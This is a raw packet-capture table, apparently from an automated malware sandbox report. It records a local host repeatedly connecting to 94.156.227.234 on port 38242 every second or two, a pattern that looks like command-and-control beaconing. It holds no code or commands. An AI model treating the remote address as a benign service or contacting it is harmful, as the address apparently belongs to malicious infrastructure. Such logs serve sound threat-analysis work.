                                                          Dec 24, 2024 04:30:31.681487083 CET4458438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:32.063111067 CET4458638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:32.183212996 CET382424458694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:32.183319092 CET4458638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:32.183319092 CET4458638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:32.304141998 CET382424458694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:32.686837912 CET4458638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:32.852406025 CET382424458694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:33.317086935 CET382424458694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:33.317203999 CET4458638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:33.687796116 CET4458838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:33.809642076 CET382424458894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:33.809706926 CET4458838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:33.809766054 CET4458838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:33.929261923 CET382424458894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:34.313349009 CET4458838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:34.475054979 CET382424458894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:34.927757025 CET382424458894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:34.927875042 CET4458838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:35.314266920 CET4459038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:35.433906078 CET382424459094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:35.434034109 CET4459038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:35.434050083 CET4459038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:35.674139023 CET382424459094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:35.937848091 CET4459038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:36.099165916 CET382424459094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:36.578804970 CET382424459094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:36.578907013 CET4459038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:36.938956976 CET4459238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:37.058639050 CET382424459294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:37.058753967 CET4459238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:37.058804989 CET4459238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:37.178545952 CET382424459294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:37.562509060 CET4459238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:37.726939917 CET382424459294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:38.175343037 CET382424459294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:38.175483942 CET4459238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:38.563436985 CET4459438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:38.685245037 CET382424459494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:38.685302973 CET4459438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:38.685359955 CET4459438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:38.804974079 CET382424459494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:39.188529015 CET4459438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:39.351000071 CET382424459494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:39.805732965 CET382424459494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:39.805819988 CET4459438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:40.189538002 CET4459638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:40.309103966 CET382424459694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:40.309216976 CET4459638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:40.309232950 CET4459638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:40.428752899 CET382424459694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:40.812575102 CET4459638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:40.974947929 CET382424459694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:41.432624102 CET382424459694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:41.432697058 CET4459638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:41.813518047 CET4459838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:41.933082104 CET382424459894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:41.933136940 CET4459838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:41.933173895 CET4459838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:42.052743912 CET382424459894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:42.436521053 CET4459838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:42.602916002 CET382424459894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:43.053039074 CET382424459894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:43.053096056 CET4459838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:43.437458038 CET4460038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:43.669579983 CET382424460094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:43.669737101 CET4460038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:43.669863939 CET4460038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:43.789496899 CET382424460094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:44.173357964 CET4460038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:44.334948063 CET382424460094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:44.787714005 CET382424460094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:44.787764072 CET4460038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:45.174273968 CET4460238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:45.293814898 CET382424460294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:45.293987036 CET4460238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:45.294008017 CET4460238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:45.413521051 CET382424460294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:45.798059940 CET4460238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:45.958961964 CET382424460294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:46.423191071 CET382424460294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:46.423300982 CET4460238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:46.799529076 CET4460438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:46.919047117 CET382424460494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:46.919244051 CET4460438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:46.919244051 CET4460438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:47.038863897 CET382424460494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:47.423399925 CET4460438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:47.586893082 CET382424460494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:48.042841911 CET382424460494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:48.043104887 CET4460438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:48.424616098 CET4460638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:48.545200109 CET382424460694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:48.545476913 CET4460638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:48.545476913 CET4460638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:48.700754881 CET382424460694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:49.049560070 CET4460638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:49.210910082 CET382424460694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:49.708821058 CET382424460694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:49.709203005 CET4460638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:50.051196098 CET4460838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:50.170743942 CET382424460894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:50.170913935 CET4460838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:50.171111107 CET4460838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:50.290566921 CET382424460894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:50.677433968 CET4460838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:50.838948965 CET382424460894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:51.300229073 CET382424460894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:51.300468922 CET4460838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:51.679306984 CET4461038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:51.798813105 CET382424461094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:51.798932076 CET4461038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:51.799092054 CET4461038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:51.919773102 CET382424461094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:52.305927038 CET4461038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:52.466937065 CET382424461094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:52.925652981 CET382424461094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:52.926029921 CET4461038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:53.307873011 CET4461238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:53.427413940 CET382424461294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:53.427640915 CET4461238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:53.427736998 CET4461238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:53.547245979 CET382424461294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:53.934613943 CET4461238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:54.096518040 CET382424461294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:54.557873964 CET382424461294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:54.558100939 CET4461238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:54.936856031 CET4461438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:55.056333065 CET382424461494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:55.056583881 CET4461438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:55.056710958 CET4461438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:55.176203012 CET382424461494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:55.563973904 CET4461438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:55.806906939 CET382424461494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:56.184472084 CET382424461494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:56.184654951 CET4461438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:56.566016912 CET4461638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:56.772285938 CET382424461694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:56.772463083 CET4461638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:56.772603989 CET4461638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:56.895826101 CET382424461694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:57.279525995 CET4461638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:57.446954966 CET382424461694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:57.906928062 CET382424461694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:57.907190084 CET4461638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:58.281570911 CET4461838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:58.401154041 CET382424461894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:58.401295900 CET4461838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:58.401576996 CET4461838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:58.521873951 CET382424461894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:58.908638000 CET4461838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:59.070913076 CET382424461894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:59.519727945 CET382424461894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:59.519874096 CET4461838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:59.910664082 CET4462038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:00.030215025 CET382424462094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:00.030510902 CET4462038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:00.030719995 CET4462038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:00.150290966 CET382424462094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:00.537138939 CET4462038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:00.698889017 CET382424462094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:01.156548023 CET382424462094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:01.156910896 CET4462038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:01.538969040 CET4462238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:01.658533096 CET382424462294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:01.658735991 CET4462238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:01.658735991 CET4462238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:01.824882030 CET382424462294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:02.164604902 CET4462238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:02.330960989 CET382424462294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:02.829690933 CET382424462294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:02.829907894 CET4462238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:03.166409016 CET4462438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:03.285996914 CET382424462494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:03.286094904 CET4462438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:03.286214113 CET4462438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:03.405734062 CET382424462494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:03.792401075 CET4462438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:03.955822945 CET382424462494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:04.407773018 CET382424462494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:04.408001900 CET4462438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:04.794225931 CET4462638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:04.913887024 CET382424462694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:04.914005995 CET4462638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:04.914063931 CET4462638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:05.033567905 CET382424462694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:05.419476986 CET4462638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:05.582911015 CET382424462694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:06.055546045 CET382424462694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:06.055680037 CET4462638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:06.421216011 CET4462838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:06.540741920 CET382424462894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:06.540941954 CET4462838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:06.540941954 CET4462838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:06.660526991 CET382424462894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:07.045408964 CET4462838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:07.206882000 CET382424462894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:07.664850950 CET382424462894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:07.664917946 CET4462838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:08.046619892 CET4463038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:08.166131020 CET382424463094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:08.166230917 CET4463038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:08.166282892 CET4463038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:08.285934925 CET382424463094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:08.670453072 CET4463038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:08.834917068 CET382424463094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:09.295835018 CET382424463094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:09.295988083 CET4463038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:09.671885014 CET4463238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:09.791577101 CET382424463294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:09.791636944 CET4463238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:09.791661024 CET4463238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:09.911107063 CET382424463294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:09.914953947 CET382424463294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:10.994721889 CET4463438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:11.115370989 CET382424463494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:11.115459919 CET4463438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:11.115459919 CET4463438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:11.235268116 CET382424463494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:11.620254040 CET4463438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:11.783004999 CET382424463494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:12.621809959 CET4463638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:12.741343975 CET382424463694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:12.741436005 CET4463638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:12.741509914 CET4463638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:12.860980034 CET382424463694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:13.247091055 CET4463638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:13.407068968 CET382424463694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:14.248913050 CET4463838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:14.368498087 CET382424463894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:14.368616104 CET4463838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:14.368679047 CET4463838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:14.489064932 CET382424463894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:14.874649048 CET4463838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:15.034887075 CET382424463894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:15.489417076 CET382424463894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:15.489531994 CET4463838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:15.876665115 CET4464038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:15.996140957 CET382424464094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:15.996277094 CET4464038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:15.996296883 CET4464038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:16.115828991 CET382424464094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:16.502446890 CET4464038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:16.666965961 CET382424464094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:17.122366905 CET382424464094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:17.122507095 CET4464038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:17.504281044 CET4464238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:17.623801947 CET382424464294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:17.623912096 CET4464238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:17.623989105 CET4464238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:17.743419886 CET382424464294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:18.130137920 CET4464238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:18.294960976 CET382424464294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:18.746318102 CET382424464294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:18.746591091 CET4464238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:19.132153988 CET4464438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:19.251606941 CET382424464494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:19.251713037 CET4464438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:19.251801968 CET4464438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:19.371193886 CET382424464494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:19.758574009 CET4464438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:19.918854952 CET382424464494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:20.369111061 CET382424464494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:20.369250059 CET4464438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:20.760426044 CET4464638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:20.879955053 CET382424464694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:20.880069971 CET4464638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:20.880130053 CET4464638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:20.999659061 CET382424464694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:21.385720968 CET4464638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:21.547019958 CET382424464694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:22.008781910 CET382424464694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:22.008894920 CET4464638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:22.387629986 CET4464838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:22.507190943 CET382424464894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:22.507394075 CET4464838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:22.507433891 CET4464838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:22.626964092 CET382424464894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:23.013178110 CET4464838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:23.178860903 CET382424464894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:23.631927967 CET382424464894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:23.632105112 CET4464838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:24.015355110 CET4465038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:24.135154963 CET382424465094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:24.135288954 CET4465038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:24.135305882 CET4465038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:24.255021095 CET382424465094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:24.641431093 CET4465038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:24.803071022 CET382424465094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:25.257644892 CET382424465094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:25.257787943 CET4465038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:25.643332958 CET4465238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:25.762886047 CET382424465294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:25.763122082 CET4465238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:25.763206005 CET4465238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:25.884114027 CET382424465294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:26.269889116 CET4465238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:26.432359934 CET382424465294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:26.879004955 CET382424465294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:26.879317045 CET4465238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:27.271775961 CET4465438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:27.391345978 CET382424465494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:27.391453981 CET4465438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:27.391655922 CET4465438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:27.511065960 CET382424465494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:27.898086071 CET4465438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:28.062891006 CET382424465494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:28.513552904 CET382424465494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:28.513807058 CET4465438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:28.899867058 CET4465638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:29.093055010 CET382424465694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:29.093226910 CET4465638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:29.093240023 CET4465638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:29.212698936 CET382424465694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:29.598449945 CET4465638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:29.763024092 CET382424465694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:30.232466936 CET382424465694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:30.232718945 CET4465638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:30.600397110 CET4465838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:30.719983101 CET382424465894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:30.720222950 CET4465838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:30.720222950 CET4465838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:30.839839935 CET382424465894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:31.224982023 CET4465838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:31.386830091 CET382424465894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:31.857364893 CET382424465894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:31.857610941 CET4465838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:32.226224899 CET4466038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:32.345824957 CET382424466094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:32.346029043 CET4466038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:32.346029043 CET4466038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:32.465585947 CET382424466094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:32.850339890 CET4466038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:32.992959023 CET382424463494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:32.993125916 CET4463438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:33.012331963 CET382424466094.156.227.234192.168.2.13
